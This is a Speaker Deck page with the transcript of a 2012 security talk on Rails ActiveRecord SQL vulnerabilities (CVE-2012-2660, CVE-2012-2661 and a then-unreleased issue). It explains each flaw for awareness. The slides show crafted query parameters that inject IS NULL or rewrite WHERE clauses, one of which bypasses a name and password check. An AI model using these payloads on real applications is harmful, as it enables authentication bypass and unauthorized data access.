Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
"Recent Rails SQL Issues" - 2012
Search
Justin Collins
April 23, 2015
Programming
88
0
Share
Embed
Copy iframe code
Copy JS code
Copy link
Start on current slide
"Recent Rails SQL Issues" - 2012
Justin Collins
April 23, 2015
More Decks by Justin Collins
See All by Justin Collins
Continuous (Application) Security at DevOps Velocity
presidentbeef
0
170
The Evolution of Rails Security
presidentbeef
1
890
Brakeman RailsConf 2017 Lightning Talk
presidentbeef
0
180
Practical Static Analysis for Continuous Application Security
presidentbeef
0
260
"...But Doesn't Rails Take Care of Security for Me?"
presidentbeef
1
500
Continuous Security with Practical Static Analysis
presidentbeef
1
380
Security Automation at Twitter - Rise of the Machines
presidentbeef
0
300
The World of Rails Security - RailsConf 2015
presidentbeef
8
1.3k
Tales from the Crypt
presidentbeef
1
280
Other Decks in Programming
See All in Programming
1年で人数1.5倍、PR数5.5倍増。 品質とアウトカムはどうなったか、 何が効いたか
ike002jp
0
140
Augmenting AI with the Power of Jakarta EE
ivargrimstad
0
160
AIキャラアプリkaiwaの低遅延音声通話基盤をどう作ったか - AWS Gravitonで支える低遅延・低コストAI Agent基盤
mogamit
0
180
人間の目はかわらない、だからJPEGは30年もつ
yuzneri
1
350
AI時代、エンジニアはどう育つのか -未経験エンジニアの成長を間近で見て考えたこと-
thasu0123
0
140
yield再入門 #phpcon
o0h
PRO
0
710
ソフトウェア設計に溶けるインフラ ― AWS CDK のインフラ認識論
konokenj
2
620
型も通る、synthも通る、それでも危ない 〜AIのCDKの権限とコストを機械で検証する〜 / It Passes Type Checks, It Passes Synth Checks, but It’s Still Risky — Automatically Verifying Permissions and Costs in AI’s CDK —
seike460
PRO
1
410
act2-costs.pdf
sumedhbala
0
120
Terraform標準の組織で AWS CDKをどう使うか
mu7889yoon
1
350
Hatena Engineer Seminar #37「言語モデルの活用に関する研究」
slashnephy
0
540
PHP に部分適用が来るぞ!……ところで何それ?おいしいの? #phpcon / phpcon-2026
shogogg
0
330
Featured
See All Featured
Are puppies a ranking factor?
jonoalderson
1
3.7k
Evolving SEO for Evolving Search Engines
ryanjones
0
240
Beyond borders and beyond the search box: How to win the global "messy middle" with AI-driven SEO
davidcarrasco
3
190
The SEO identity crisis: Don't let AI make you average
varn
0
520
brightonSEO & MeasureFest 2025 - Christian Goodrich - Winning strategies for Black Friday CRO & PPC
cargoodrich
3
750
Claude Code のすすめ
schroneko
67
230k
End of SEO as We Know It (SMX Advanced Version)
ipullrank
3
4.3k
How People are Using Generative and Agentic AI to Supercharge Their Products, Projects, Services and Value Streams Today
helenjbeal
1
240
AI Search: Implications for SEO and How to Move Forward - #ShenzhenSEOConference
aleyda
1
1.3k
Unlocking the hidden potential of vector embeddings in international SEO
frankvandijk
0
880
Building a Modern Day E-commerce SEO Strategy
aleyda
45
9.1k
Skip the Path - Find Your Career Trail
mkilby
1
170
Transcript
Rails Vulnerabilities Last Week CVE-2012-2660 CVE-2012-2661
CVE-2012-2660 Allows unexpected “IS NULL” in queries Affects Rails 2.x
and 3.x
ActiveRecord Query unless params[:name].nil? @user = User.where(:name => params[:name]) end
Query Parameters ?name[] {"name"=>[nil]}
ActiveRecord Query unless [nil].nil? @user = User.where(:name => [nil]) end
Resulting SQL SELECT "users".* FROM "users" WHERE "users"."name" IS NULL
CVE-2012-2661 Allows some manipulation of WHERE clause via “dotted” query
keys Affects Rails 3.x
ActiveRecord Query User.where(:name => params[:name])
ActiveRecord Query User.where("users.name" => params[:name])
Query Parameters ?name[users.id]=1 {"name"=>{"users.id"=>"1"}}
ActiveRecord Query User.where(:name => {"users.id" => "1"})
Resulting SQL SELECT "users".* FROM "users" WHERE "users"." id" =
1
Unreleased Vulnerability Allows some manipulation of WHERE clause via nested
hashes in query values Affects 2.3.x and 3.x
ActiveRecord Query User.where(:name => params[:name], :password => params[:password])
Query Parameters ?name[users][id]=1&password[users][id]=1 {"name"=>{"users"=>{"id"=>"1"}}, "password" =>{"users"=>{"id"=>"1"}}}
ActiveRecord Query User.where( :name => {"users"=>{"id"=>"1"}, :password => {"users"=>{"id"=>"1"} )
Resulting SQL SELECT "users".* FROM "users" WHERE "users"." id" =
1 AND "users"."id" = 1